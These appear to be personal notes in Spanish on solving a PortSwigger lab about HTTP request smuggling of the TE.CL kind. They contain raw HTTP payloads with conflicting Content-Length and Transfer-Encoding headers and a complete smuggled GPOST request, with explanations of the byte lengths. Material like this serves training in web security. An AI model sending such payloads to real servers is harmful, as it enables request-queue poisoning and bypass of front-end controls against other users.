Skip to content

02 - HTTP request smuggling, basic TE.CL vulnerability

#requestsmuggling #teclvulnerability #portswigger

HTTP
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Aquí el frontend pillará hasta el 0 y el backend pillará 8\r\n Se colará SMUGGLED\r\n0

Vamos a tener que quitar la opción de Update Content length para que no se actualice automáticamente:

Acordarse de usar HTTP1.1

https://youtu.be/kIRIV-BwBTE

  • Si se queda colgada la request es por que el backend se ha quedado esperando a que se completen los bytes prometidos en el content-length
  • Si responde con un 400 es porque el frontend ha recibido un contenido chunked inválido.

Si nos peta el LAB, es porque una de las dos partes se ha quedado rallada, necesitamos enviar una request normal indicando un content length válido :

HTTP
POST / HTTP/2
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Para medir 5C tendríamos que pillar hasta el 1 :

  1. El primer Content-Length es 4 porque el backend pillará 5c\r\n como la primera request y el resto como la segunda.
HTTP
POST / HTTP/1.1\r\n
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11\r\n
\r\n
x=1\r\n
0\r\n
\r\n
  1. Es 5c porque es lo que mide la request que le llega al frontend
HTTP
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11
  1. El segundo Content-Length es 11 porque es lo que mide el body de la request smuggleada +1 , para que al hacer la petición normal nos venga la respuesta de la del GPOST:
x=1\r\n
0\r\n
\r\n

Notas personales de seguridad ofensiva.